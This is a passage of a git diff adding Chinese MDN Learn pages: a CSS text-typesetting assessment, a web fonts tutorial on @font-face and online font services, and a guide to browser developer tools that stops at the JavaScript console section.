<li>{{cssxref("counter-reset")}}</li> +</ul> + +<h2 id="总结">总结</h2> + +<p>一旦你掌握一些相关的基础原则和特定属性,列表的样式还是相对容易理解的。在下篇文章中我们将转到另一话题——为链接提供样式的各种技巧。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Styling_text/Fundamentals", "Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text")}}</p> diff --git a/files/zh-cn/learn/css/为文本添加样式/typesetting_a_homepage/index.html b/files/zh-cn/learn/css/为文本添加样式/typesetting_a_homepage/index.html new file mode 100644 index 0000000000..98f86f125f --- /dev/null +++ b/files/zh-cn/learn/css/为文本添加样式/typesetting_a_homepage/index.html @@ -0,0 +1,119 @@ +--- +title: 作业:排版社区大学首页 +slug: Learn/CSS/为文本添加样式/Typesetting_a_homepage +tags: + - CSS + - 初学者 + - 字体 + - 样式化文本 + - 网络字体 + - 链接 +translation_of: Learn/CSS/Styling_text/Typesetting_a_homepage +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}</div> + +<p class="summary">在本测评中,通过对社区学校主页的文本样式化,我们会测试你对所有本模块涉及到的文本样式化技术的理解。你或许也会从中获得乐趣。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备条件:</th> + <td>在本次测评前,你应该完成了本模块所有章节。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>测试对CSS文本样式化技术的理解。</td> + </tr> + </tbody> +</table> + +<h2 id="开始">开始</h2> + +<p>在本测评开始前,你应该:</p> + +<ul> + <li>获取本次练习的 <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/typesetting-a-homepage-start/index.html">HTML</a> 和 <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/typesetting-a-homepage-start/style.css">CSS</a> 文件以及提供的 <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/typesetting-a-homepage-start/external-link-52.png">external link icon</a>。</li> + <li>在本地计算机中拷贝一份上述文件。</li> +</ul> + +<div class="note"> +<p><strong>注意</strong>: 或者,你可以使用像 <a class="external external-icon" href="http://jsbin.com/">JSBin</a> 或 <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> 的网站完成你的测评。你可以把HTML和CSS粘贴到在线编辑器中,并使用<a href="http://mdn.github.io/learning-area/css/styling-text/typesetting-a-homepage-start/external-link-52.png">this URL</a>指定背景图像。如果你使用的在线编辑器没有单独的CSS面板,你可以将其放在HTML文件的<style>元素中。</p> +</div> + +<h2 id="项目简介">项目简介</h2> + +<p>你有一个虚构的社区大学主页的未处理HTML文件和一些CSS文件。这些CSS文件把网页分成两栏布局,提供了一些简单的样式化。你将在CSS文件底部的comment下写你的CSS,这样可以方便地标出你的工作。不要担心选择器一直重复;我们会帮你跳过这个问题。</p> + +<p>字体:</p> + +<ul> + <li>首先,下载一些免费的字体。因为这是一所大学,字体应该严肃,正式,给人信任的感觉 —— 主体使用serif字体,对标题结合使用sans-serif 或者 slab serif会是不错的选择。</li> + <li>使用合适的服务对着两种字体生成无死角的<code>@font-face</code>代码。</li> + <li>将你的body字体应用到body,heading字体应用到heading。</li> +</ul> + +<p>文本样式化基础:</p> + +<ul> + <li>设置全站网页 <code>font-size</code> 为 <code>10px</code>。</li> + <li>使用相对单位(relative unit)为标题和其他元素的font-sizes设置合适的值。</li> + <li>为body文本设置合适的<code>line-height</code>。</li> + <li>居中页面顶级标题。</li> + <li>为标题设置 <code>letter-spacing</code> 避免字间太过拥挤。</li> + <li>为body文本设置合适的 <code>letter-spacing</code> 和 <code>word-spacing</code>。</li> + <li>在<code><section></code>元素中,每个标题后的第一段文字设置20px的文本缩进。</li> +</ul> + +<p>链接:</p> + +<ul> + <li>设置 link, visited, focus, 和 hover 状态设置颜色,与页面顶部和底部的水平线颜色相匹配。</li> + <li>设置链接默认带下划线,但hover和focus时下划线消失。</li> + <li>取消页面中所有链接focus时默认的外边线。</li> + <li>设置active时有显著不同的样式,使其又突出又与整体页面设计和谐。</li> + <li>在外部链接右侧插入外部链接图标。</li> +</ul> + +<p>列表:</p> + +<ul> + <li>确保列表和列表项与页面整体样式和谐。每个列表项应该有同样的与段落行相同的<code>line-height</code> 。每个列表上下间距应该与段落间距相同。</li> + <li>使用与页面设计匹配的bullet列表项符号。你可以选择自定义的bullet图像或者其他的喜欢的bullet符号。</li> +</ul> + +<p>导航栏菜单:</p> + +<ul> + <li>样式化你的导航栏菜单,使它拥有与页面整体相匹配的外观。</li> +</ul> + +<h2 id="提示与技巧">提示与技巧</h2> + +<ul> + <li>本练习中你不需要编辑HTML文件。</li> + <li>你不需要使导航栏菜单看起来像按钮,但它需要有一定的高度才不至于在页面侧边看起来很别扭;同时记得,你需要的是一个垂直导航栏菜单。</li> +</ul> + +<h2 id="实例">实例</h2> + +<p>下图展示了其中一种设计完成后的例子。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/12994/example2.png" style="display: block; height: 1106px; margin: 0px auto; width: 1533px;"></p> + +<h2 id="测评">测评</h2> + +<p>如果你将本测评作为课程的一部分,你应该能够将你的作品交给你的老师/指导员打分。如果你是自学的,你可以很轻松地在<a href="https://discourse.mozilla.org/t/typesetting-a-community-school-home-page-assessment/24683">discussion thread for this exercise</a>,或者<a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>的<a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC 频道上获得打分。先尝试完成本次练习——作弊是学不到任何东西的!</p> + +<p>{{PreviousMenu("Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}</p> + +<h2 id="在本单元中">在本单元中</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Fundamental text and font styling</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Styling_lists">Styling lists</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Styling_links">Styling links</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Web_fonts">Web fonts</a></li> + <li><a href="https://developer.mozilla.org/en-US/Learn/CSS/Styling_text/Typesetting_a_homepage">Typesetting a community school homepage</a></li> +</ul> diff --git a/files/zh-cn/learn/css/为文本添加样式/web_字体/index.html b/files/zh-cn/learn/css/为文本添加样式/web_字体/index.html new file mode 100644 index 0000000000..ad9691cb00 --- /dev/null +++ b/files/zh-cn/learn/css/为文本添加样式/web_字体/index.html @@ -0,0 +1,186 @@ +--- +title: Web 字体 +slug: Learn/CSS/为文本添加样式/Web_字体 +translation_of: Learn/CSS/Styling_text/Web_fonts +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text/Typesetting_a_homepage", "Learn/CSS/Styling_text")}}</div> + +<p class="summary">在模块的第一篇文章中,我们探讨了用于样式化字体和文本的基本CSS特性。在这篇文章中,我们将更进一步,详细地探索web字体——它们允许您下载自定义字体和您的web页面,以允许更多不同的、自定义的文本样式。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>基本计算机素养,HTML 基础 (学习 <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>), CSS 基础 (学习<a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>), <a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">CSS文本和字体基础 </a>。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学习如何将web字体应用到web页面,使用第三方服务,或者编写自己的代码。</td> + </tr> + </tbody> +</table> + +<h2 id="字体种类回顾">字体种类回顾</h2> + +<p>正如我们在<a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">基本文本和字体样式</a>中所看到的那样,应用到您的HTML的字体可以使用 {{cssxref("font-family")}}属性来控制。您需要提供一个或多个字体种类名称,浏览器会在列表中搜寻,直到找到它所运行的系统上可用的字体。</p> + +<pre class="brush: css">p { + font-family: Helvetica, "Trebuchet MS", Verdana, sans-serif; +}</pre> + +<p>这个系统运行良好,但是对于传统的web开发人员来说,字体选择是有限的。只有少数几种字体可以保证兼容所有流行的操作系统——这就是所谓的 <a href="/en-US/Learn/CSS/Styling_text/Fundamentals#Web_safe_fonts">Web-safe 字体</a>。您可以使用字体堆栈来指定可选择的字体,后面是Web-safe的替代选项,然后是默认的系统字体,但是为了确保您的设计在每种字体中都显示正常,这样增加了测试的开销。</p> + +<h2 id="Web_字体">Web 字体</h2> + +<p>但是还有一种选择,它非常有效,回到IE版本6。Web字体是一种CSS特性,允许您指定在访问时随您的网站一起下载的字体文件,这意味着任何支持Web字体的浏览器都可以使用您指定的字体。太酷啦!所需的语法如下所示:</p> + +<p>首先,在CSS的开始处有一个{{cssxref("@font-face")}}块,它指定要下载的字体文件:</p> + +<pre class="brush: css">@font-face { + font-family: "myFont"; + src: url("myFont.ttf"); +} +</pre> + +<p>在这个下面,你可以使用@font-face中指定的字体种类名称来将你的定制字体应用到你喜欢的任何东西上,比如说:</p> + +<pre class="brush: css">html { + font-family: "myFont", "Bitstream Vera Serif", serif; +}</pre> + +<p>语法确实比这更复杂,下面我们将详细介绍。</p> + +<p>关于网页字体有两件重要的事情要记住:</p> + +<ol> + <li>浏览器支持不同的字体格式,因此您需要多种字体格式以获得良好的跨浏览器支持。例如,大多数现代浏览器都支持WOFF / WOFF2(Web Open Font Format versions 1 and 2,Web开放字体格式版本1和2),它是最有效的格式,但是旧版本IE只支持EOT (Embedded Open Type,嵌入式开放类型)的字体,你可能需要包括一个SVG版本的字体支持旧版本的iPhone和Android浏览器。我们将向您展示如何生成所需的代码。</li> + <li>字体一般都不能自由使用。您必须为他们付费,或者遵循其他许可条件,比如在代码中(或者在您的站点上)提供字体创建者。你不应该在没有适当的授权的情况下偷窃字体。</li> +</ol> + +<div class="note"> +<p><strong>注意:</strong> Web字体作为一种技术从 Internet Explorer 4 开始就得到了的支持!</p> +</div> + +<h2 id="自主学习web字体示例">自主学习:web字体示例</h2> + +<p>记住这一点,让我们从最初的原则构建一个基本的web字体示例。使用嵌入的live示例很难演示这一点,因此,我们希望您按照下面几节中详细介绍的步骤来了解这个过程。</p> + +<p>你应该使用 <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-start.html">web-font-start.html</a> 和 <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-start.css">web-font-start.css</a> 文件作为开始添加到你的代码中(又见<a href="http://mdn.github.io/learning-area/css/styling-text/web-fonts/web-font-start.html">预览版</a>。)现在,在你的电脑上的一个新目录中复制这些文件。在 <code>web-font-start.css</code>文件中,您将找到一些最小的CSS来处理这个示例的基本布局和排版。</p> + +<h3 id="查找字体">查找字体</h3> + +<p>对于本例,我们将使用两种web字体,一种用于标题,另一种用于正文文本。首先,我们需要找到包含字体的字体文件。字体是由字体铸造厂创建的,并且存储在不同的文件格式中。<br> + 通常有三种类型的网站可以获得字体:</p> + +<ul> + <li>免费的字体经销商:这是一个可以下载免费字体的网站(可能还有一些许可条件,比如对字体创建者的信赖)。比如: <a href="https://www.fontsquirrel.com/">Font Squirre</a>,<a href="http://www.dafont.com/">dafont</a> 和 <a href="https://everythingfonts.com/">Everything Fonts</a>。</li> + <li>收费的字体经销商:这是一个收费则字体可用的网站,例如<a href="http://www.fonts.com/">fonts.com</a>或<a href="http://www.myfonts.com/">myfonts.com</a>。您也可以直接从字体铸造厂中购买字体,例如<a href="https://www.linotype.com/">Linotype</a>,<a href="http://www.monotype.com">Monotype</a> 或 <a href="http://www.exljbris.com/">Exljbris</a>。</li> + <li>在线字体服务:这是一个存储和为你提供字体的网站,它使整个过程更容易。更多细节见{{anch("Using an online font service")}}。</li> +</ul> + +<p>让我们找到一些字体!前往<a href="https://www.fontsquirrel.com/">Font Squirrel</a> 并选择两种字体——一种用于标题的有趣的字体(可能是一种不错的显示字体或无衬线字体),和一种用于段落,稍微不那么华丽,更易于阅读的字体。当您找到每种字体时,按下下载按钮,并将该文件保存在与您先前保存的HTML和CSS文件相同的目录中。无论它们是TTF(True Type Fonts))还是OTF(Open Type字体)都不重要。</p> + +<p>在每种情况下,都要解压字体包(Web字体通常分布在包含字体文件和许可信息的ZIP文件中。)您可能会在包中发现多个字体文件,一些字体是作为一个具有不同变体的家庭分布的,例如,瘦、中、粗体、斜体、斜体等等。对于这个例子,我们只是想让您自己考虑一个单一的字体文件。</p> + +<div class="note"> +<p><strong>注意:</strong> 在右边栏的“查找字体”部分中,您可以单击不同的标记和分类来筛选显示的选项。</p> +</div> + +<h3 id="生成所需代码">生成所需代码</h3> + +<p>现在您需要生成所需的代码(以及字体格式)。对于每种字体,遵循以下步骤:</p> + +<ol> + <li>确保您已经满足了任何许可证的要求,如果您打算在一个商业和/或Web项目中使用它。</li> + <li>前往 Fontsquirrel <a href="https://www.fontsquirrel.com/tools/webfont-generator">Webfont Generator</a>.</li> + <li>使用上传字体按钮上传你的两个字体文件。</li> + <li>勾选复选框,“是的,我上传的字体符合网络嵌入的合法条件。</li> + <li>点击下载你的套件(kit)。</li> +</ol> + +<p>在生成器完成处理之后,您应该得到一个ZIP文件,将它保存在与HTML和CSS相同的目录中。</p> + +<h3 id="在演示中实现代码">在演示中实现代码</h3> + +<p>在这一点上解压您刚刚生成的webfont套件。在解压的目录中,您将看到三个有用的条目:</p> + +<ul> + <li>每个字体的多个版本:(比如 <code>.ttf</code>, <code>.woff</code>, <code>.woff2</code>…… 随着浏览器支持需求的改变,提供的字体将随着时间的推移而不断更新。) 正如上面提到的,跨浏览器支持需要使用多种字体——这是Fontsquirrel的方法,确保你得到了你需要的一切。</li> + <li>每个字体的一个演示HTML文件在你的浏览器中加载,看看在不同的使用环境下字体会是什么样子。</li> + <li>一个 <code>stylesheet.css</code> 文件,它包含了你需要的生成好的 @font-face 代码。</li> +</ul> + +<p>要在演示中实现这些字体,请遵循以下步骤:</p> + +<ol> + <li>将解压缩的目录重命名为简易的目录,比如<code>fonts</code></li> + <li>打开 <code>stylesheet.css</code> 文件,把包含在你的网页中的 <code>@font-face</code>块复制到你的 <code>web-font-start.css</code> 文件—— 你需要把它们放在最上面,在你的CSS之前,因为字体需要导入才能在你的网站上使用。</li> + <li>每个<code>url()</code>函数指向一个我们想要导入到我们的CSS中的字体文件——我们需要确保文件的路径是正确的,因此,在每个路径的开头添加<code>fonts/</code> (必要时进行调整)。</li> + <li>现在,您可以在字体栈中使用这些字体,就像任何web安全或默认的系统字体一样。<br> + 例如: + <pre class="brush: css">font-family: 'zantrokeregular', serif;</pre> + </li> +</ol> + +<p>你应该得到一个演示页面,上面有一些漂亮的字体。因为不同字体的字体大小不同,你可能需要调整大小、间距等,以区分外观和感觉。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/12984/web-font-example.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<div class="note"> +<p><strong>注意:</strong>如果对于要让它正常工作您有任何问题,可以自由地将您的版本与我们完成的文件进行比较——见 <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-finished.html">web-font-finished.html</a> 和 <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-finished.css">web-font-finished.css</a> (<a href="http://mdn.github.io/learning-area/css/styling-text/web-fonts/web-font-finished.html">运行完成的示例</a>)。</p> +</div> + +<h2 id="使用在线字体服务">使用在线字体服务</h2> + +<p>在线字体服务通常会为你存储和服务字体,这样你就不用担心写<code>@font-face</code>代码了,通常只需要在你的网站上插入一两行代码就可以让一切都运行。例子包括<a href="https://typekit.com/">Typekit</a> 和<a href="http://www.typography.com/cloud/welcome/">Cloud.typography</a>。大多数这些服务都是基于订阅的,除了<a href="https://www.google.com/fonts">Google Fonts</a>,这是一个有用的免费服务,特别是对于快速的测试工作和编写演示。</p> + +<p>大多数这些服务都很容易使用,所以我们不会详细地介绍它们。让我们快速浏览一下Google Fonts,这样你就能明白它的意思了。再次的,使用<code>web-font-start.html</code> 和 <code>web-font-start.css</code> a的副本作为你的开始。</p> + +<ol> + <li>前往 <a href="https://www.google.com/fonts">Google Fonts</a>.</li> + <li>使用左边的过滤器来显示你想要选择的字体类型,并选择一些你喜欢的字体。</li> + <li>要选择字体种类,按下按钮旁边的 ⊕ 按钮。</li> + <li>当您选择好字体种类时,按下页面底部的<em>[Number] </em>种类选择。</li> + <li>在生成的屏幕中,首先需要复制所显示的HTML代码行,并将其粘贴到HTML文件的头部。将其置于现有的{{htmlelement("link")}}元素之上,使得字体是导入的,然后在你的CSS中使用它。</li> + <li>然后,您需要将CSS声明复制到您的CSS中,以便将自定义字体应用到您的HTML。</li> +</ol> + +<div class="note"> +<p><strong>注意:</strong>如果你需要对比我们的,你可以在 <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/google-font.html">google-font.html</a>和<a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/google-font.css">google-font.css</a>找到完整版本的。(<a href="http://mdn.github.io/learning-area/css/styling-text/web-fonts/google-font.html">见预览版</a>)</p> +</div> + +<h2 id="关于font-face的更多细节">关于@font-face的更多细节</h2> + +<p>让我们来探索由fontsquirrel为您生成的<code>@font-face</code>语法。这是其中一个块的样子:</p> + +<pre class="brush: css">@font-face { + font-family: 'ciclefina'; + src: url('fonts/cicle_fina-webfont.eot'); + src: url('fonts/cicle_fina-webfont.eot?#iefix') format('embedded-opentype'), + url('fonts/cicle_fina-webfont.woff2') format('woff2'), + url('fonts/cicle_fina-webfont.woff') format('woff'), + url('fonts/cicle_fina-webfont.ttf') format('truetype'), + url('fonts/cicle_fina-webfont.svg#ciclefina') format('svg'); + font-weight: normal; + font-style: normal; +}</pre> + +<p>这被称为"bulletproof @font-face syntax(刀枪不入的@font-face语法)", 这是 Paul Irish早期的一篇文章提及后@font-face开始流行起来 (<a href="http://www.paulirish.com/2009/bulletproof-font-face-implementation-syntax/">Bulletproof @font-face Syntax</a>。让我们来看看它是怎么做的:</p> + +<ul> + <li><code>font-family</code>:这一行指定了您想要引用的字体的名称。你可以把它作为你喜欢的任何东西,只要你在你的CSS中始终如一地使用它。</li> + <li><code>src</code>:这些行指定要导入到您的CSS(<code>url</code>部分)的字体文件的路径,以及每种字体文件的格式(<code>format</code>部分)。后面的部分不是必要的,但是声明它是很有用的,因为它允许浏览器更快地找到可以使用的字体。可以列出多个声明,用逗号分隔——浏览器会搜索并使用它能找到的第一个——因此,最好是把新的、更好的格式比如WOFF2放在前面,把偏老的,不是那么好的格式像TTF这样的放在后面。唯一的例外是EOT字体——他们首先在旧版本的IE中修复了几个bug,这样它就会尝试使用它找到的第一件东西,即使它不能真正使用字体。</li> + <li>{{cssxref("font-weight")}}/{{cssxref("font-style")}}: 这些行指定字体的粗细,以及它是否斜体。如果您正在导入相同字体的多个粗细,您可以指定它们的粗细/样式,然后使用不同的{{cssxref("font-weight")}}/{{cssxref("font-style")}}来选择它们之间的不同值,而不必调用字体种类不同名称的所有不同成员。Roger Johansson写的 <a href="http://www.456bereastreet.com/archive/201012/font-face_tip_define_font-weight_and_font-style_to_keep_your_css_simple/">@font-face tip: define font-weight and font-style to keep your CSS simple</a> 更详细地说明了该做些什么。</li> +</ul> + +<div class="note"> +<p><strong>注意:</strong>您还可以为您的web字体指定特定的{{cssxref("font-variant")}} 和 {{cssxref("font-stretch")}} )值。在较新的浏览器中,您还可以指定一个{{cssxref("unicode-range")}}值,这是一个您需要使用什么web字体的特定范围的字符——在支持浏览器中,只有指定的字符才会被下载,省去了不必要的下载。Drew McLellan写的<a href="https://24ways.org/2011/creating-custom-font-stacks-with-unicode-range/">Creating Custom Font Stacks with Unicode-Range</a>在如何利用这个问题上提供了一些有用的建议。</p> +</div> + +<h2 id="总结">总结</h2> + +<p>既然您已经完成了我们关于文本样式基础的文章,现在是时候用我们对模块的评估来测试您的理解了,为社区学校的主页进行排版。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text/Typesetting_a_homepage", "Learn/CSS/Styling_text")}}</p> diff --git a/files/zh-cn/learn/discover_browser_developer_tools/index.html b/files/zh-cn/learn/discover_browser_developer_tools/index.html new file mode 100644 index 0000000000..69081b9745 --- /dev/null +++ b/files/zh-cn/learn/discover_browser_developer_tools/index.html @@ -0,0 +1,230 @@ +--- +title: 什么是浏览器开发者工具? +slug: Learn/Discover_browser_developer_tools +tags: + - 开发工具 + - 调试 +translation_of: Learn/Common_questions/What_are_browser_developer_tools +--- +<div class="summary"> +<p>每一个现代网络浏览器都包含一套强大的开发工具套件。这些工具可以检查当前加载的HTML、CSS和JavaScript,显示每个资源页面的请求以及载入所花费的时间。本文阐述了如何利用浏览器的开发工具的基本功能。</p> +</div> + +<div class="note"> +<p>注意:在你运行下面的例子之前,打开我们在<a href="/zh-CN/docs/Learn/Getting_started_with_the_web">Web开发入门</a>系列文章中建立的<a href="http://mdn.github.io/beginner-html-site-scripted/">初学者示例网站</a>。你应该按照下面的步骤打开。</p> +</div> + +<h2 id="如何在浏览器中打开开发者工具">如何在浏览器中打开开发者工具</h2> + +<p>开发者工具内置在您的浏览器的子窗口之中,大概像这样:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/9561/Screenshot%20from%202014-11-25%2012:32:57.png" style="display: block; height: 625px; margin: 0px auto; width: 775px;"></p> + +<p><strong>如何打开它?有三种方式:</strong></p> + +<ul> + <li><em><strong>键盘快捷键</strong></em> <em>Ctrl + Shift + I ,</em>除了以下的特例 + + <ul> + <li><strong>Internet Explorer. </strong><em>F12 </em></li> + <li><strong>Mac OS X. </strong><em><span class="Unicode">⌘ + ⌥ + I </span></em></li> + </ul> + </li> + <li><span class="Unicode"><em><strong>菜单栏 </strong></em></span> + <ul> + <li><strong>Firefox</strong>:菜单 <img alt="" src="https://mdn.mozillademos.org/files/9637/2014-01-10-13-08-08-f52b8c.png" style="height: 16px; width: 16px;"> <span class="Unicode"><em>➤</em></span><em> Web 开发者 ➤ </em><span class="Unicode"><em><span class="Unicode">切换工具箱(译者注:此处修改为最新的 Firefox Quantum),或者工具栏中的 </span></em></span><span class="Unicode"><em><span class="Unicode"><img alt="" src="https://mdn.mozillademos.org/files/9639/Screenshot%20from%202014-11-26%2014:24:56.png" style="height: 40px; width: 45px;"></span></em><em><span class="Unicode">➤ 切换工具箱 </span></em></span></li> + <li><strong>Chrome</strong>:菜单 <em>➤ 更多工具 ➤ 开发者工具</em></li> + <li><strong>Safari</strong>:<em><span class="Unicode">Develop ➤</span> Show Web Inspector</em>。如果你看不到 <em>Develop </em>菜单,去到<em>Safari<span class="Unicode"> ➤</span> Preferences ➤ Advanced</em>,然后点击<em>Show Develop menu in menu bar</em> 复选框。</li> + <li><strong>Opera</strong>. <em><span class="Unicode">Developer ➤</span> Web Inspector</em></li> + </ul> + </li> + <li><strong>右键菜单</strong>:右键单击网页中的一个项目上(在Mac上按Ctrl点击),并从弹出的菜单中选择<code>检查元素</code>(译者注:选择<code>检查</code>(Chrome)或<code>查看元素</code>(Firefox))。(这种方法的好处是:该方法直接将你右击的元素的代码突出显示)。</li> +</ul> + +<p><img alt="" src="https://mdn.mozillademos.org/files/9605/inspect-element-option.png" style="display: block; height: 264px; margin: 0px auto; width: 350px;"></p> + +<p id="调试审查:DOM_Explorer和CSS编辑器">检查器(Inspector):DOM 浏览器和CSS编辑器</p> + +<p>开发者工具在打开时默认为检查器页面,如下图所示。这个工具可以让你看到你的网页的HTML运行时的样子,以及哪些CSS规则被应用到了页面上元素。它还允许您立即修改HTML和CSS并在浏览器中实时观察修改的结果。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/9607/inspector.png" style="display: block; height: 727px; margin: 0px auto; width: 800px;"></p> + +<p>如果你看不到调试器,</p> + +<ul> + <li>点击“检查”选项卡。</li> + <li>在Internet Explorer中,点击DOM Explorer,或按Ctrl + 1。</li> + <li>在Safari中,控制就不是很清楚了,但是你如果你没有选择的东西出现在窗口看到HTML。按下按钮查看CSS样式。</li> +</ul> + +<h3 id="探索DOM检查器">探索DOM检查器</h3> + +<p>首先在DOM检查器中右键单击(按Ctrl点击)一个HTML元素,看上下文菜单。菜单选项各不相同,但主要功能是相同的:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/9609/dev-tool-context-menu.png" style="display: block; height: 236px; margin: 0px auto; width: 200px;"></p> + +<ul> + <li><strong>删除节点</strong>(或删除元素):删除当前元素<strong>。</strong></li> + <li><strong>编辑HTML</strong>(或添加属性/编辑文本):让您更改HTML和看到在变化的结果。对于调试和测试非常有用。</li> + <li><strong>:hover/:active/:focus</strong>(悬停/激活/聚焦):强制切换元素状态以查看显示外观。</li> + <li><strong>复制/复制为HTML</strong>:复制当前选定的HTML。</li> + <li>一些浏览器也有复制CSS路径和复制XPath,允许你选择复制当前的HTML元素CSS选择器或XPath表达式。</li> +</ul> + +<p>现在试着编辑一些你的DOM。双击元素,或在页面内容里右键单击它并选择编辑HTML。你可以做出任何你想要的改变,但你不能保存。</p> + +<h3 id="探索CSS编辑器">探索CSS编辑器</h3> + +<p>默认情况下,CSS编辑器显示当前<img alt="" src="https://mdn.mozillademos.org/files/9631/css-viewer-2.png" style="border: 1px solid black; display: block; height: 218px; margin: 0px auto; width: 326px;">所选元素应用的CSS规则:</p> + +<p>这些功能特别有用:</p> + +<ul> + <li>应用于当前元素的规则以相关度排序。越特定的规则显示的越靠前。</li> + <li>点击每个声明旁边的复选框,看看如果删除声明会发生什么。</li> + <li>点击每个简写属性旁边的小箭头显示属性的普通等效项。</li> + <li>单击属性名称或值以显示一个文本框,您可以在其中键入新值以获取样式更改的实时预览。</li> + <li>每个规则旁边是规则定义的文件名和行号。单击该规则将使开发工具跳转到自己的视图中显示,通常可以编辑和保存。</li> + <li>您还可以单击任何规则的关闭大括号,以在新行上显示一个文本框,您可以在其中为页面写入一个全新的声明。</li> +</ul> + +<p>您会注意到CSS查看器顶部的一些可点击的选项卡:</p> + +<ul> + <li><em>计算:显示当前所选元素的计算样式(浏览器应用的最终归一化值)。</em></li> + <li><em>盒子模型:这可以直观地表示当前元素的框模型,所以您可以一目了然地看到应用了什么填充,边框和边距,以及它的内容有多大。</em></li> + <li>字体:在Firefox中,“字体”选项卡显示应用于当前元素的字体。</li> +</ul> + +<h3 id="了解更多">了解更多</h3> + +<p>了解更多Inspector在不同的浏览器中的细节:</p> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector">Firefox Page inspector</a></li> + <li><a href="http://msdn.microsoft.com/en-us/library/ie/dn255008%28v=vs.85%29.aspx">IE DOM Explorer</a></li> + <li><a href="https://developer.chrome.com/devtools/docs/dom-and-styles">Chrome DOM inspector</a> (Opera的inspector 和它一样)</li> + <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/ResourcesandtheDOM/ResourcesandtheDOM.html#//apple_ref/doc/uid/TP40007874-CH3-SW1">Safari DOM inspector and style explorer</a></li> +</ul> + +<h2 id="JavaScript调试器">JavaScript调试器</h2> + +<p>你可在JavaScript调试器中查看变量的值,或者设置断点。断点的作用是让程序在你指定的位置暂停,以便你来调试程序并确定问题所在。</p> + +<p><img src="https://mdn.mozillademos.org/files/16239/firefox_debugger.png"></p> + +<p>如何打开调试器:</p> + +<p>火狐,谷歌,IE,Edge:<kbd>F12</kbd></p> + +<p>Safari:开打开发者工具,然后选择 "Debugger" 标签。</p> + +<h3 id="尝一尝调试器的味">尝一尝调试器的味</h3> + +<p>火狐的调试器有三个面板</p> + +<h4 id="文件列表">文件列表</h4> + +<p>第一个面板位于左边,它包涵着你正在调试的网页的文件列表。从列表中选中你要操作的文件。通过点击选中一个文件,可以在调试中间的面板看到它的内容。</p> + +<p><img src="https://mdn.mozillademos.org/files/16240/File_List.png"></p> + + + +<h4 id="源码">源码</h4> + +<p>在你想要停止执行的位置设置间断点。在下面图片中,高亮的第18行就是被设置的断点。</p> + +<p><img src="https://mdn.mozillademos.org/files/16241/Source_code.png"></p> + +<h4 id="“监视表达示”和“断点”">“监视表达示”和“断点”</h4> + +<p>右边的面板会显示你添加的监视表达示与断点。</p> + +<p>在下图中,第一个区域,<strong>监视表达示</strong>,显示了变量 listItem 已经被添加,你可以展开列表查看里面的值。</p> + +<p>接下来的部分,<strong>断点 标签</strong>,列出了页面上设置的断点。在 example.js(上上个图中)中,一个断点被定位在语句 <code>listItems.push(inputNewItem.value);</code> 上。</p> + +<p>最后两个部分,只在代码运行时才出现。</p> + +<p><strong>调用栈 </strong>区向你显示哪个代码执行后会达到当前行。你能看到代码处理了一次鼠标点击后,停在了断点处。</p> + +<p>最后一部分,<strong>Scopes</strong>,显示了在代码执行过程中,可见变量值的变化。例如,在下面图片中,你可以看到对像在addItemClick函数中是如何变化的。</p> + + + +<p><img src="https://mdn.mozillademos.org/files/16242/watch_items.png"></p> + +<h3 id="再了解一些">再了解一些</h3> + +<p>了解不同浏览器中的JavaScript调试器:</p> + +<ul> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Debugger">Firefox JavaScript Debugger</a></li> + <li><a href="https://docs.microsoft.com/en-us/microsoft-edge/devtools-guide/debugger">Microsoft Edge Debugger</a></li> + <li><a href="https://developers.google.com/web/tools/chrome-devtools/javascript/">Chrome Debugger</a></li> + <li><a href="https://developer.apple.com/safari/tools/">Safari Debugger</a></li> +</ul> + +<h2 id="JavaScript控制台">JavaScript控制台 </h2> + 